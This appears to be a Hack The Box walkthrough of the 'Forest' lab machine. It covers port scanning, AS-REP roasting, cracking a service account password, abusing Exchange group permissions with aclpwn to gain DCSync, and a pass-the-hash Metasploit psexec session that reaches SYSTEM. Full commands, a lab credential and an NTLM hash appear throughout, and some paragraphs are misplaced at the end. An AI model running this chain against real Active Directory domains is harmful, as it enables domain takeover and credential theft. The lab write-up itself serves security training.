This Hack The Box machine is built on Windows operating system and revolves around Active Directory and Kerberos. Great thing about this machine just like other similar ones is that it can be very close to real-life. Active Directory is used across many Enterprise environments as their credential backbone and is a service that can allow different types of attacks if it is not setup correctly. Along with this (spoiler I know), it has Microsoft Exchange in the same box; this is something that is not common in my opinion unless it is small environment like a small business and there is not enough budget for a server farm. With the move to cloud services like Office 365, using Exchange will slowly decrease (I hope) unless you are in an 'Exchange Hybrid' model.
For people not well versed in Active Directory and Windows, and even if you are, there is some reading to do, or at least I recommend to do so, which is why I've added some resources below and also other links to some tools.
Some great resources around this are below:
Resources:
Let's get started!
Initial Enumeration: Footprinting and Scanning
First of, we need to identify how to reach the system. In other words, we need to identify what are the services available from this machine.
Let's start by adding this machine's IP address to the hosts file and create an alias:
My go-to tools in this phase, which are typically used by many to start enumerating, are:
masscan: very nice port scanning tool that allows finding open ports quickly. To me this is a tool to narrow down the scope of the enumeration so we can focus on open ports only when using nmap.
Here, I am designating the interface to use when communicating to the HTB machine (-e) which will be the HTB VPN interface, along with -p to designate the port range to target but I will target ALL TCP and UDP Ports, and the transmission rate of packets per second (--rate).
Similar to this, you could also run something like this:
nmap -p- --min-rate=1000 -T4
nmap: I think most people in the information technology and security space know what nmap does. It is a very versatile Port scanning tool which also allows you to use scripts to further target the services found. Just like anything, it can be a useful tool while it can also be damaging if the user is not careful.
What I typically start with when using nmap is:
-sC: to use all default non-intrusive nmap scripts on each service
-sV: to get the service version information which is definitely important for us
-p: to designate the port we will be targeting
-vvvv: for extended verbosity (as I like as many details as I can get)
MASSCAN
root@kali:~# masscan -e tun1 -p1-65535,U:1-65535 10.10.10.161 --rate=1000 > Forest_masscan.log
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-01-10 02:47:24 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 51127/udp on 10.10.10.161
Discovered open port 464/tcp on 10.10.10.161
Discovered open port 49677/tcp on 10.10.10.161
Discovered open port 389/tcp on 10.10.10.161
Discovered open port 47001/tcp on 10.10.10.161
Discovered open port 49670/tcp on 10.10.10.161
Discovered open port 49714/tcp on 10.10.10.161
Discovered open port 9389/tcp on 10.10.10.161
Discovered open port 5985/tcp on 10.10.10.161
Discovered open port 49666/tcp on 10.10.10.161
Discovered open port 135/tcp on 10.10.10.161
Discovered open port 50736/udp on 10.10.10.161
Discovered open port 49664/tcp on 10.10.10.161
Discovered open port 3269/tcp on 10.10.10.161
Discovered open port 445/tcp on 10.10.10.161
Discovered open port 49684/tcp on 10.10.10.161
Discovered open port 53/tcp on 10.10.10.161
Discovered open port 49695/tcp on 10.10.10.161
Discovered open port 593/tcp on 10.10.10.161
Discovered open port 52551/udp on 10.10.10.161
Discovered open port 636/tcp on 10.10.10.161
Discovered open port 49667/tcp on 10.10.10.161
Discovered open port 3268/tcp on 10.10.10.161
Discovered open port 88/tcp on 10.10.10.161
Discovered open port 50604/udp on 10.10.10.161
Discovered open port 139/tcp on 10.10.10.161
As you can see, we found some UDP High Ports that at the moment we do not see a use for them. Below is an example of how you can filter these out and create a usable list that can make our lives easier. If you notice the output versus the list of ports I used in nmap, they are not in the same order as the below is for your benefit.
root@kali:~/Documents/HTB-Labs/Forest# nmap -sC -sV -vvv -p 445,49667,47001,88,49665,636,139,464,3268,49670,49697,53,135,49669,5985,389,49671,9389,3269,49897,49678,49666,49664,593 -oX Forest_TCP.xml -oN Forest_TCP.log forest.htb
# Nmap 7.80 scan initiated Sun Oct 20 21:57:16 2019 as: nmap -sC -sV -vvv -p 445,49667,47001,88,49665,636,139,464,3268,49670,49697,53,135,49669,5985,389,49671,9389,3269,49897,49678,49666,49664,593 -oX Forest_TCP.xml -oN Forest_TCP.log 10.10.10.161
Nmap scan report for 10.10.10.161
Host is up, received echo-reply ttl 127 (0.22s latency).
Scanned at 2019-10-20 21:57:17 EDT for 317s
PORT STATE SERVICE REASON VERSION
53/tcp open domain? syn-ack ttl 127
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2019-10-21 02:04:14Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds syn-ack ttl 127 Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 127
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
47001/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49669/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49670/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49671/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49678/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49697/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49897/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=10/20%Time=5DAD1089%P=x86_64-pc-linux-gnu%r(DNS
SF:VersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version
SF:\x04bind\0\0\x10\0\x03");
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
As you can see from the open ports found, we have the following which are very important:
-> Kerberos: 88/tcp Microsoft Windows Kerberos
-> LDAP: 389/tcp Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
-> SMB: 445/tcp Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
-> LDAPS: 636/tcp
-> Windows Remote Management (WinRM): 5985/tcp Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Along with these, given that RPC and Dynamic RPC (on the TCP High Ports) are available, means to us that SAMR is also available. Why is this important? Well, SAMR or RPC over SMB, or Security Account Manager Remote Protocol, could potentially allow account enumeration with no authentication. That's a big deal, especially when Microsoft recommends to have this locked down (see Resource #5).
With that being said, let's move forward with Impacket's SAMRDump script to get user account information. This step will give you a lot of good information.
We just found the user htb.local\svc-alfresco (a service account) and its TGT; let's try to crack it
JOHN THE RIPPER
root@kali:~/Documents/HTB-Labs/Forest# john --wordlist=/usr/share/wordlists/rockyou.txt Forest_TGT_svc-alfresco.txt > Forest_svc-alfrescoCreds.txt
Using default input encoding: UTF-8
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:05 DONE (2020-01-09 23:02) 0.1692g/s 691329p/s 691329c/s 691329C/s s401447401447401447..s3r2s1
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root@kali:~/Documents/HTB-Labs/Forest# cat Forest_svc-alfrescoCreds.txt
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
s3rvice ($krb5asrep$23$svc-alfresco@HTB.LOCAL)
We have svc-alfresco:s3rvice credential pair. Let's test it and its permissions to SMB and at the same time see if these credentials are valid while enumerating what it has access to (I could've used smbmap too).
SMBCLIENT
root@kali:~/Documents/HTB-Labs/Forest# smbclient -L //forest.htb/ -U 'HTB\svc-alfresco'
Enter HTB\svc-alfresco's password:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
SMB1 disabled -- no workgroup available
root@kali:~/Documents/HTB-Labs/Forest# smbclient //forest.htb/C$ -U 'HTB\svc-alfresco'
Enter HTB\svc-alfresco's password:
tree connect failed: NT_STATUS_ACCESS_DENIED
AND we found the USER flag using svc-alfresco which resided in the account's Desktop directory.
Privilege Escalation
We need to get a deeper understanding of this AD environment and the accounts rights. There is a vulnerability in Exchange environments and two groups that would allow some accesses that should not happen, like account modification, and to escalate privileges, accounts in these groups would only need DCSync permissions, quite possible to do. Explained further in Resource #6.
NOTE: To do this, you must first have Bloodhound setup and configured, a walkthrough by itself that I will skip. Also, pay close attention to the syntax when using Sharphound powershell script.
Once you upload the zip file containing all the domain related information, the following is what you should see:
If you pulled all the AD information you should see similar numbers. To me, I wanted everything I could read!
Not necessary to go through all the queries as the important ones to analyze are 'Find Shortest Paths to Domain Admins' and 'Find Principals with DCSync Rights.
BUT the one you actually need is 'Find Shortest Paths to Domain Admins' as it explains why the following tool finds what it does. Basically, because of the group membership of svc-alfresco, you can delegate DCSync rights by modifying the DACL. I will explain soon.
ACLPWN
root@kali:~/Documents/HTB-Labs/Forest# aclpwn -f svc-alfresco -ft User -t htb.local -tt domain -d htb.local -s forest.htb -du neo4j -dp
Please supply the password or LM:NTLM hashes of the account you are escalating from:
[!] Unsupported operation: GetChanges on HTB.LOCAL (Domain)
[-] Invalid path, skipping
[!] Unsupported operation: GenericAll on EXCH01.HTB.LOCAL (Computer)
[-] Invalid path, skipping
[+] Path found!
Path [0]: (SVC-ALFRESCO@HTB.LOCAL)-[MemberOf]->(SERVICE ACCOUNTS@HTB.LOCAL)-[MemberOf]->(PRIVILEGED IT ACCOUNTS@HTB.LOCAL)-[MemberOf]->(ACCOUNT OPERATORS@HTB.LOCAL)-[GenericAll]->(EXCHANGE TRUSTED SUBSYSTEM@HTB.LOCAL)-[MemberOf]->(EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL)-[WriteDacl]->(HTB.LOCAL)
[+] Path found!
Path [1]: (SVC-ALFRESCO@HTB.LOCAL)-[MemberOf]->(SERVICE ACCOUNTS@HTB.LOCAL)-[MemberOf]->(PRIVILEGED IT ACCOUNTS@HTB.LOCAL)-[MemberOf]->(ACCOUNT OPERATORS@HTB.LOCAL)-[GenericAll]->(EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL)-[WriteDacl]->(HTB.LOCAL)
Please choose a path [0-1] 0
[-] Memberof -> continue
[-] Memberof -> continue
[-] Memberof -> continue
[-] Adding user SVC-ALFRESCO to group EXCHANGE TRUSTED SUBSYSTEM@HTB.LOCAL
[+] Added CN=svc-alfresco,OU=Service Accounts,DC=htb,DC=local as member to CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=htb,DC=local
[-] Re-binding to LDAP to refresh group memberships of SVC-ALFRESCO@HTB.LOCAL
[+] Re-bind successful
[-] Memberof -> continue
[-] Modifying domain DACL to give DCSync rights to SVC-ALFRESCO
[+] Dacl modification successful
[+] Finished running tasks
[+] Saved restore state to aclpwn-20200104-223425.restore
Important paths to flag from what aclpwn found (can be also seen by reviewing Sharphound's data in Bloodhound):
Path [0]: (SVC-ALFRESCO@HTB.LOCAL)-[MemberOf]->(SERVICE ACCOUNTS@HTB.LOCAL)-[MemberOf]->(PRIVILEGED IT ACCOUNTS@HTB.LOCAL)-[MemberOf]->(ACCOUNT OPERATORS@HTB.LOCAL)-[GenericAll]->(EXCHANGE TRUSTED SUBSYSTEM@HTB.LOCAL)-[MemberOf]->(EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL)-[WriteDacl]->(HTB.LOCAL)
Path [1]: (SVC-ALFRESCO@HTB.LOCAL)-[MemberOf]->(SERVICE ACCOUNTS@HTB.LOCAL)-[MemberOf]->(PRIVILEGED IT ACCOUNTS@HTB.LOCAL)-[MemberOf]->(ACCOUNT OPERATORS@HTB.LOCAL)-[GenericAll]->(EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL)-[WriteDacl]->(HTB.LOCAL)
I selected PATH 0, but as you can notice by examining each path, there is not much of a difference; path 0 is somewhat longer as relies on being a member of EXCHANGE TRUSTED SUBSYSTEM, and the good one is EXCHANGE WINDOWS PERMISSIONS, BUT the first is a member of EXCHANGE WINDOWS PERMISSIONS anyways.
Technically speaking, we used the permissions svc-alfresco already has to modify accounts by being an "indirect" member of EXCHANGE TRUSTED SUBSYSTEM and EXCHANGE WINDOWS PERMISSIONS to delegate rights to itself by modifying domain DACL and give DCSync rights to itself. I know, it sounds confusing to explain!! At least the last Bloodhound screenshot shows this better.
As we select a path and it was successful, we have to move fast and try to use it to dump secrets (NTDS.DIT). Let's use Impacket's Secretdump!
First thought of some people would be to try and crack this, but how about using it as is? There are different ways, one being through Metasploit's psexec and through one of the Impacket's SMB or Psexec scripts; I went for Metasploit. In escence, both will be doing a Pass-the-Hash attack.
To do this, we only need the following portion of the Administrator dump used as password: aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6
Using the Exploits: 'exploit/windows/smb/psexec' and the Payload 'windows/meterpreter/bind_tcp'
msf5 > use exploit/windows/smb/psexec
msf5 exploit(windows/smb/psexec) > set SMBDomain htb.local
SMBDomain => htb.local
msf5 exploit(windows/smb/psexec) > set SMBUser Administrator
SMBUser => Administrator
msf5 exploit(windows/smb/psexec) > set LPORT 4464
LPORT => 4464
msf5 exploit(windows/smb/psexec) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf5 exploit(windows/smb/psexec) > set RPORT 445
RPORT => 445
msf5 exploit(windows/smb/psexec) > set DB_ALL_CREDS false
DB_ALL_CREDS => false
msf5 exploit(windows/smb/psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6
SMBPass => aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6
msf5 exploit(windows/smb/psexec) > set RHOST 10.10.10.161
RHOST => 10.10.10.161
msf5 exploit(windows/smb/psexec) > exploit -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] 10.10.10.161:445 - Connecting to the server...
[*] 10.10.10.161:445 - Authenticating to 10.10.10.161:445|htb.local as user 'Administrator'...
[*] 10.10.10.161:445 - Selecting PowerShell target
[*] 10.10.10.161:445 - Executing the payload...
[+] 10.10.10.161:445 - Service start timed out, OK if running a command or non-service executable...
[*] Started bind TCP handler against 10.10.10.161:4464
[*] Sending stage (180291 bytes) to 10.10.10.161
[*] Meterpreter session 1 opened (10.10.14.40:19905 -> 10.10.10.161:4464) at 2020-01-09 23:41:31 -0500
Notice the System and User information provided by Meterpreter. After that, let's switch to a "shell" to interactive with the system through Command-Prompt.
msf5 > sessions 1
meterpreter > sysinfo
Computer : FOREST
OS : Windows 2016+ (10.0 Build 14393).
Architecture : x64
System Language : en_US
Domain : HTB
Logged On Users : 1
Meterpreter : x86/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32> cd c:\Users\Administrator\Desktop
c:\Users\Administrator\Desktop> type root.txt
f0481**********************129cc
Game Over: System Rooted and ROOT Flag found!
Something important to mention here is, there are other "commands" in Meterpreter to fully own the system even when you already accessed it as the NT AUTHORITY\SYSTEM, but I am not mentioning them here as the intent is to find the Root Flag. Obviously, I'm limiting the effort to the scope of this exercise; find the USER and ROOT flags!
If you enjoyed my walkthrough, thought it was useful AND if you are a member of Hack The Box, feel free throw a 'Respect'. Thanks!
Since Kerberos is available and we saw krbtgt user, let's check if all accounts have Kerberos Pre-Authentication enabled. By default, Kerberos Pre-Authentication is enabled, and has to be manually disabled per account (to my understanding). A great explanation was done by one of the Hack The Box members (kudos to VbScrub) and is worth watching, . Using GetNPUsers.py will help us test this and if one is found, it will let us retrieve their TGT to then crack it. Kerberoasting
Looks like I can enumerate shares but I do not have permissions to C$ Share through SMB. Let's try to test credentials/gain access through WinRM. To do this, you need to have installed. Worth going through its documentation as it is one of many other tools that are very versatile.
This information can be also found through LDAP and/or by using : EXCHANGE TRUSTED SUBSYSTEM and EXCHANGE WINDOWS PERMISSIONS.
Let's use through our current session in evil-winrm.
This zip file needs to be uploaded into a clean Bloodhound database. After importing it and evaluating the paths for our own understanding of what we will see next, we can use and see if it finds a permissions/membership path using svc-alfresco to see how it can achieve DomainAdmin-like permissions or DCSync.